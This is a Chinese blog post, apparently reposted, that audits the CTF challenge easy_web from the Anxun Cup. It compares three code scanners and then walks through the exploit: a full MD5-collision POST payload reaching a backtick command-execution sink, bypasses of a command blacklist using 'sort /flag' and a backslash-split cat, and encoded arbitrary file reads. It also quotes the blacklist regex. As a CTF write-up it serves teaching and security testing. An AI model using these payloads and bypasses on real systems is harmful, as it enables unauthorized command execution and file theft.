php代码审计案例之easy_web

admin 2022年6月17日10:58:55评论54 views字数 4032阅读13分26秒阅读模式


前言

所谓代码审计是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。在安全领域,为了发现安全问题,常通过黑盒测试、白盒测试方法来尽可能的发现业务程序中的安全问题,代码审计就是白盒测试的常用方法,相较于黑盒测试,由于白盒测试能接触到源代码,可以更加详细的理解业务程序逻辑,也能更全面的发现安全风险。接下来本系列文章将以php代码审计为切入点,过程中结合常见源代码扫描工具和动态调试方法,来讲解php代码审计的常见漏洞点和分析方法。本章节以安洵杯Web题目easy_web为审计对象,相关源代码网上也都有公开。


代码审计过程


源代码扫描效果查看

php代码审计案例之easy_web

php代码审计案例之easy_web

php代码审计案例之easy_web

fortify

1命令执行+2XSS+1文件读取

seay

1文件读取+1命令执行

rips

1命令执行+2XSS+1文件读取

经验证,XSS漏洞真实存在。这里我们可以看到fortify和rips的扫描效果是一致的,而seay基于特征关键词的匹配方式,无法发现XSS这种漏洞。

接下来我们来查看源码,重点关注3个扫描器都反馈的命令执行和文件读取问题。

php代码审计案例之easy_web

从代码逻辑上,file_get_contents会根据输入的img参数读取对应的文件,同时会判断参数a,b的md5值是否相等,如果相等就通过反引号执行cmd参数输入的命令,该命令经过过滤排除了部分恶意命令。

我们知道md5哈希是不安全的,存在部分数据其md5相等,当值不相等的情况,可绕过对应判断。构造POST包请求内容payload

a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

同时通过GET请求配置cmd的值为whoami,该命令不在过滤函数内

执行结果如下

php代码审计案例之easy_web

可以看到命令执行成功,现在问题是如何读取flag

preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd))

从上面的过滤情况,可以看到dir还没被过滤,/也没有,因此可以通过dir /逐步查找flag路径,得到路径为/flag

php代码审计案例之easy_web

而读取文件常用的命令如cat;more;less;tac;head均被过滤,这里还可以通过sort命令来读取文件。Cat是把文件内容打印出来,而sort可以将文件内容进行排序后打印。因此sort /flag

php代码审计案例之easy_web

得到flag为flag{da8d4305-efed-4694-8e8b-f508aec161e9}

另外还有一种绕过方法,通过cat /flag

php代码审计案例之easy_web

这里我们注意到正则过滤的表达式是这样的|?|\|\\|n|

在preg_match中,想要过滤,需要经过两层解析,表达式应为\\,而这里的|\|\\|经过一层解析后得到||\|,由于仍有双斜杠,这里进行第二层解析得到|||,注意这里|其实就是匹配|,是转义符。最终效果变成了匹配连续字符,绕过可以绕过单独的匹配。

php代码审计案例之easy_web
php代码审计案例之easy_web
php代码审计案例之easy_web
php代码审计案例之easy_web

这里我猜测出题者的本意是想过滤的,只需要将|\|\\|改成|\\|即可实现。

php代码审计案例之easy_web
php代码审计案例之easy_web
php代码审计案例之easy_web
php代码审计案例之easy_web

这样的话,反斜杠绕过的方式就不能成立了。当然这道题其实还有一个点,任意文件读取的问题,因此我这边是尝试源码审计的方式发现问题,而在实际过程中是无法读取源码的,需要利用读取的逻辑问题。从源码看,它读取的文件路径通过2层base64编码和1层hex编码 

php代码审计案例之easy_web

因此这里读取index.php文件的话,就需要先编码

php代码审计案例之easy_web

Index.php的编码结果为TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

php代码审计案例之easy_web

将读取到的图片base64码解码,成功得到index.php源码

php代码审计案例之easy_web


总结


这道题的关键点有反引号命令执行、MD5相等值、绕过特定命令过滤共三个点,利用MD5相同的两个数据,进入到命令执行的逻辑当中,并通过sort命令查看flag文件从而绕过过滤。从代码审计工具的效果来看,通过反引号的特征,三款代码审计工具均发现了命令执行的问题,fortify和rips的审计结果相同,而seay在面对xss漏洞则存在漏报。

php代码审计案例之easy_web


php代码审计案例之easy_web

原文始发于微信公众号(第59号):php代码审计案例之easy_web

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月17日10:58:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   php代码审计案例之easy_webhttps://cn-sec.com/archives/1123790.html

发表评论

匿名网友 填写信息